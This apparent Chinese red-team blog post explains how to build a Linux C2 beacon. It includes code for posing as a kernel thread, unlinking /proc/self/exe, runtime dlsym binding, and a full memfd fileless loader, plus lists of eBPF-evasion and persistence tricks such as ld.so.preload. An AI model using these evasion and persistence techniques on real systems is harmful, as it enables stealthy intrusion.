初识linux下的beacon
原创
cc
cc
freedom安全
2026年6月26日 10:00
北京
在小说阅读器读本章
去阅读
为什么要写 Linux Beacon
过去十年,红队工具的重心几乎一直压在 Windows 上——Cobalt Strike 的 beacon、 Covenant 的 Grunt、Sliver 的 implant,大部分社区资源和研究都围绕着 PE 格式、ETW 补丁、AMSI 绕过、进程注入这些 Windows 专属话题打转。但现实是,云原生浪潮已经把生产环境的主战场搬到了 Linux 上。K8s 节点、CI/CD runner、数据库服务器、跳板机、甚至安全设备自身的管理平面——清一色的 Linux。
这意味着几点。第一,一旦你拿下了某个 Linux 主机,你需要的不是一次性反弹 shell,而是一个能持久化、能横向移动、能跟 C2 保持联系的正经 beacon。第二,Linux 上 EDR 的成熟度远不如 Windows,但这不是说你可以裸奔——审计框架(auditd)、eBPF、falco、以及云厂商内置的运行时检测已经够让粗制滥造的 payload 第一时间暴毙。第三,很多安全团队对 Linux 后门的检测经验相对薄弱,这正是攻防不对称性最大的地方。
这段时间遇到一次某云的检测,一时间我还真不知道linux如何绕,笔者也是边学编写,所以这个项目的出发点很简单:写一个真正能用的 Linux beacon,并在一开始就把各种检测手段和绕过思路内建进去。
Linux 常见检测手段
在谈绕过之前,要先知道对方在看什么。Linux 主机上的检测大致可以分成这几个层次:
1. 进程层面
/proc/pid/exe—— 指向正在运行的二进制文件。如果你的 beacon 是从 /tmp/somesketchy 启动的,这里一目了然。
/proc/pid/cmdline和 /proc/pid/comm —— 进程的命令行参数和名称。./beacon 这种名字直接就是告警条件。
ps/ top / htop —— 管理员的肉眼是第一道防线。一个叫 beacon 的进程混在 nginx 和 sshd 里面想不引人注目都难。
lsof/ /proc/pid/fd —— 可以看到进程打开了哪些 socket、哪些文件。
2. 网络层面
ss -tunap/ netstat —— 可以看到所有 TCP/UDP 连接及其归属进程。一个持续连接到奇怪 IP:6666 的进程无处可藏。
流量分析 —— 心跳 beaconing 是最经典的网络特征。固定间隔的 HTTP POST 请求,即使内容加密,时间模式本身就是强信号。
DNS 日志 —— 如果你的 C2 域名是 evilhacker123.xyz,DNS 查询记录会出卖你。
3. 文件系统 & 审计层面
auditd—— Linux 的审计子系统可以记录每一次 execve、每一次文件读写、每一次 socket 连接。规则配好之后,任何异常行为都在日志里。
inotify—— 监控文件系统变化。ELF 落地就会被感知到。
eBPF / Falco / Tetragon—— 内核级监控。eBPF 程序可以 hook 任何系统调用,在 ring buffer 里实时分析事件然后告警。这是目前 Linux 检测的天花板。
4. 沙箱 & 虚拟化检测
云环境里的蜜罐、沙箱、或者动态分析平台会在虚拟机或容器里运行你的样本。
/sys/class/dmi/id/product\_name写的是 VMware Virtual Platform 或 KVM。
/proc/cpuinfo里的 hypervisor 标志。
/.dockerenv的存在直接暴露容器环境。
低内存、单核 CPU、缺少用户目录——都是沙箱特征。
绕过手法总览
对应上面的检测层次,常见的绕过思路:
| 检测手段 | 绕过思路 |
|---|---|
/proc/<pid>/exe 暴露路径 |
memfd_create 无文件执行,或 unlink 自删 |
comm / cmdline 暴露可疑名称 |
伪装为内核线程名如 [kworker/u8:2] |
ss 暴露连接 |
流量走 Unix Domain Socket 转发、复用合法进程连接 |
| 固定心跳间隔 | jitter(随机抖动)sleep 时间 |
| auditd 审计日志 | 用 syscall 而不是 libc 函数(审计规则通常挂在 libc 层),减少 execve 调用 |
| eBPF hook | 很难完全绕过,但可以降低触发的 hook 点数量 |
| 文件落地 | memfd 内存执行,或 /dev/shm + 自删 |
| 沙箱检测 | 主动检测 VM/容器/沙箱特征,命中则退出 |
| 流量特征 | 套 CDN、域前置、或伪装成正常 API 流量(JSON + 常见 UA) |
这个 Beacon 用到的技术
下面逐层拆解这个 Linux beacon 到底做了什么。
架构概览
beacon 是一个纯 C 编写的 ELF 二进制,源码结构:
main.c — 入口、主循环、C2 协议逻辑http.c — 原始 socket HTTP 客户端(不依赖 libcurl)crypto.c — 基于 PRNG 的流加密native.c — 动态函数绑定 + VM/容器检测commands.c — 命令执行、文件上传下载、memfd 无文件执行scan.c — 异步 TCP 端口扫描profile.h — C2 地址、加密密钥、路由配置
编译方式:gcc -Wall -O2 -s -fvisibility=hidden -ldl,strip 符号表且隐藏所有导出。
1. 动态 Syscall 绑定 —— 躲开 libc hook
这是整个 beacon 最核心的反检测设计。看native.c的 native\_init():
g_self = dlopen(NULL, RTLD_LAZY | RTLD_NOLOAD);g_connect = (connect_t) dlsym(g_self, ”connect”);g_send = (send_t) dlsym(g_self, ”send”);g_socket = (socket_t) dlsym(g_self, ”socket”);// ... 二十多个函数全部手动绑定
所有系统调用相关的函数——connect、send、recv、socket、close、popen、fopen、stat 等等,都不是通过正常的 libc 链接调用,而是在运行时用 dlsym 从自身已经加载的 libc 中查找函数地址,存到全局函数指针里。之后全部通过 g\_connect()、g\_send() 这样的函数指针来调用。
为什么这样做?
绕过 LD\_PRELOAD hook
:很多主机入侵检测系统通过 LD\_PRELOAD 注入自己的 connect() 等函数来监控网络行为。通过 dlsym 拿到的函数地址是加载器解析后的真实地址,虽然不能完全绕过 preload(因为 preload 的 so 先加载,dlsym 拿到的仍然是 hook 后的版本),但在某些场景下配合 RTLD\_NEXT 可以拿到真实的 libc 版本(当前实现用的是 RTLD\_NOLOAD + NULL handle,实际上拿的还是当前进程空间里的符号)。
避免静态分析出直接的 libc 依赖
:strip 后再静态分析时,工具看到的是 call [rax] 而不是 call connect@plt,加大了逆向分析的难度。
灵活切换
:未来可以把这些函数指针替换成直接 syscall 的 wrapper,从根源上绕开 libc。
2. 进程伪装 —— 假装是内核线程
见main.c的入口:
memset(argv[0], 0, strlen(argv[0]));strcpy(argv[0], ”[kworker/u8:2]”);prctl(PR_SET_NAME, ”[kworker/u8:2]”, 0, 0, 0);FILE* fp = g_fopen(”/proc/self/comm”, ”w”);if (fp) { fputs(”[kworker/u8:2]”, fp); g_fclose(fp); }
三步走:
覆写 argv[0],影响 /proc/self/cmdline 和 ps aux 的输出
prctl(PR\_SET\_NAME)
设置线程名(影响 top、htop 中显示的名称)
直接写入 /proc/self/comm 作为双保险
效果:在 ps aux 里,这个 beacon 看起来像 [kworker/u8:2]——一个平凡的内核工作线程,管理员直接划过。方括号在 Linux 里是内核线程的惯例格式,直觉上不会被当作可疑进程。
然后:
g_unlink(”/proc/self/exe”);
将 /proc/self/exe 断开。即使有人顺着 /proc/pid/exe 找二进制文件,也读不到任何东西。注意这不等于删除文件本身,只是断了 /proc 里的符号链接。
3. 自研流加密 —— 不用标准库
crypto.c实现了一个轻量级加密方案:
// 密钥 → djb2 hash → LCG PRNG 种子// 每条消息:PRNG 生成 keystream → XOR 明文 → hex 编码static void prng_init(prng_state* st, const unsigned char* key, size_t len) { unsigned int h = 5381; for (size_t i = 0; i < len; i++) h = ((h << 5) + h) + key[i]; st->seed = h;} static unsigned char prng_next(prng_state* st) { st->seed = ((st->seed * 1103515245) & 0xFFFFFFFF) + 12345; st->seed = st->seed & 0x7FFFFFFF; return (unsigned char)(st->seed & 0xFF);}
核心思路:用 djb2 哈希把字符串密钥转成一个 32 位种子,然后跑一个经典的 LCG 生成伪随机字节流,对明文逐字节 XOR。最后 hex 编码输出。
为什么不用 AES?
不用引入 OpenSSL 或任何外部加密库的依赖——减小二进制体积、降低特征。
这本质上是一个流密码(stream cipher),密钥和 keystream 的生成逻辑完全自控;没有标准库的魔数、没有 IV、没有 padding oracle。
当然安全性不能跟 AES-GCM 比——没有认证加密(AEAD),重放和篡改理论上可行。但对 C2 场景而言,外面还有一层 TLS 的话(或者至少,流量本身已经经过了 HTTP JSON 包装),核心需求是让任务内容和回传数据不以明文出现在网络层,这个目的达到了。
C2 服务端(Go 写的)用完全相同的算法解密。两边共享一个预置密钥。
4. C2 通信协议 —— 躲在 HTTP JSON 里
流量也是动态处理的 当然我这里只是演示还没有写的很好
5. 无文件执行
commands.c的 do\_memfd() 是亮点,memfd\_create 是 Linux 3.17 引入的系统调用,创建一个没有对应磁盘 inode 的文件描述符。往里面写完 ELF 之后,fexecve 直接从文件描述符执行。在 /proc/pid/exe 里看到的是 /memfd:fscan (deleted),对应的\"文件\"根本没有磁盘路径,下图仅为demo,后续的话,通过网络传输直接读取到内存加载,实现无文件执行
实战价值:你可以把任意后渗透工具(扫描器、提权 exp、凭据 dump 工具)放在 C2 服务器上,beacon 按需从 C2 拉下来直接在内存里跑,全程不留文件痕迹。这个功能在 memfd\_demo/demo.c 里还有独立的演示代码。
#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <fcntl.h>#include <sys/mman.h>#include <sys/stat.h>#include <dlfcn.h>#include <errno.h>#include <sys/wait.h> int main(int argc, char* argv[]) { if (argc < 2) { fprintf(stderr, ”Usage: %s <elf_file> [args...]\
”, argv[0]); return 1; } const char* path = argv[1]; int fd = open(path, O_RDONLY); if (fd < 0) { perror(”open”); return 1; } struct stat st; fstat(fd, &st); unsigned char* elf = (unsigned char*)mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); close(fd); if (elf == MAP_FAILED) { perror(”mmap”); return 1; } fprintf(stderr, ”[*] Read %s: %ld bytes\
”, path, (long)st.st_size); int mfd = memfd_create(”fscan”, MFD_CLOEXEC); if (mfd < 0) { perror(”memfd_create”); return 1; }
size_t written = 0; while (written < (size_t)st.st_size) { ssize_t n = write(mfd, elf + written, st.st_size - written); if (n <= 0) { perror(”write”); close(mfd); return 1; } written += n; } fprintf(stderr, ”[+] Wrote %zu bytes to memfd:%d\
”, written, mfd); munmap(elf, st.st_size);
pid_t pid = fork(); if (pid < 0) { perror(”fork”); close(mfd); return 1; } if (pid == 0) {
char** new_argv = (char**)calloc(argc + 1, sizeof(char*)); new_argv[0] = strdup(”[kworker/u8:2]”); for (int i = 2; i < argc; i++) new_argv[i-1] = argv[i]; new_argv[argc-1] = NULL; fprintf(stderr, ”\
=== Running from memfd (PID %d) ===\
”, getpid()); fexecve(mfd, new_argv, environ); perror(”fexecve”); _exit(1); } close(mfd); int status; waitpid(pid, &status, 0); fprintf(stderr, ”\
=== Child exited with status %d ===\
”, WEXITSTATUS(status)); return 0;}
可以看到成功在beacon里实现内存加载fscan 完全不落地磁盘
6. VM / 容器 / 沙箱检测
native.c的 native\_check\_vm() 做了三层检查:
// 1. /proc/cpuinfo 里找 ”hypervisor” 标志if (strstr(buf, ”hypervisor”)) return 1; // 2. DMI product name 查 VMware / VirtualBoxif (strstr(name, ”VMware”) || strstr(name, ”VirtualBox”)) return 1; // 3. 容器检测 —— /.dockerenv 文件存在if (access(”/.dockerenv”, F_OK) == 0) return 2;
这些检测在主函数里被注释掉了(/\ native\_check\_vm() skipped for testing \/),但代码已经就位,部署时解开注释即可。检测到 VM 或容器环境就直接退出,避免在分析环境里暴露 C2 地址和通信逻辑。这里实际做和window的反沙箱思路会更好,因为很多linux机器也确实运行在vm里面,但是因为linux几乎少见杀软,这里仅作讨论
7. 异步端口扫描器
scan.c实现了一个基于非阻塞 socket + select 的批量 TCP 端口扫描器。支持单端口、逗号分隔列表、范围语法(如 20-25,80,443,8000-9000)。
8. 文件传输
文件传输这一块 linux主要防的是流量问题 少见检测文件 所以文件传输我们需要加密
可以看到文件上传成功上传
文件下载也是正常的
9.常见的命令
比如linux的正常命令 c2里面的sleep cd sysinfo pwd也是都实现了 这里有一个坑 linux下执行命令结果过大很容易回不来 需要特殊处理
基础分析
ida视图 做了一点点处理
elf的基础信息
导入表情况 使用动态技术减少特征 但实际这也不是对抗的关键
延伸:更高级的技术方向
上面这些是当前 beacon 已经落地的。下面聊聊进一步可以走的方向,从易到难。
间接 Syscall —— 彻底绕开 libc
当前 dlsym 拿到的函数地址仍然指向 libc 里的实现。更彻底的做法是直接发起 syscall:
long sys_connect(int fd, const struct sockaddr* addr, socklen_t len) { long ret; asm volatile(”syscall” : ”=a”(ret) : ”a”(42), ”D”(fd), ”S”(addr), ”d”(len)); return ret;}
不经过 libc 的 connect() 函数,直接 syscall 指令进内核。LD\_PRELOAD 完全失效,因为 preload 只能 hook 动态链接的函数,管不到直接 syscall。更进一步,可以手动解析 ntdll/libc.so 里的 syscall stub,或者从 /usr/include/asm/unistd\_64.h 提取系统调用号,构造自己的 syscall 表。
eBPF 对抗
eBPF 是目前最难对付的检测手段,因为它跑在内核态、不需要上下文切换就能检查每一次 syscall。对抗 eBPF 的方向:
减少 syscall 调用
:用 io\_uring 做异步 I/O,减少 send/recv 的次数;或者把多个操作合并成一次 syscall。
检测 eBPF 程序
:遍历 /sys/fs/bpf/ 找是否有挂载的 BPF 程序;检查 bpftool prog list。
利用 eBPF 的盲区
:eBPF 程序不能 sleep、不能无限循环、不能调用某些内核函数。精心构造的 payload 可以绕过特定 hook 点的检查范围。
干扰 eBPF 的 ring buffer
:大量制造无关 syscall 噪音撑爆 perf buffer,让有用事件被丢弃(但这也是一种能被检测的行为模式)。
持久化手法
当前 beacon 没有内置持久化(需要操作者通过 shell 命令自行添加),可以实现的方式:
crontab 注入
:最经典但最容易被查到。
systemd 用户服务
:在 ~/.config/systemd/user/ 下创建 service 文件。
~/.bashrc / ~/.profile
:每次登录触发,检测频率低但触发率也低。
SSH AuthorizedKeysCommand
:在 /etc/ssh/sshd\_config 里配置,SSH 认证时执行自定义命令。
ld.so.preload
:向 /etc/ld.so.preload 写入恶意 .so 路径,每个进程启动时都会自动加载。
内核模块(LKM)
:rootkit 的终极方案,直接在内核空间运行。但需要 insmod 权限,且现代 Secure Boot 环境下需要签名。
COFF / BOF 支持
Cobalt Strike 的 Beacon Object File (BOF) 机制允许操作者动态加载和执行小段位置无关代码,在 Linux 上可以实现类似的东西:beacon 接收编译好的 .o 文件,用自定义的 COFF loader 解析重定位表、解析外部符号(用 dlsym 代替 Windows 上的 GetProcAddress),然后直接执行。这在 Linux 上比 Windows 简单得多——ELF 的重定位语义更统一,而且你可以直接 mmap + mprotect 来执行。配合 memfd 就是完整的无文件插件体系。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论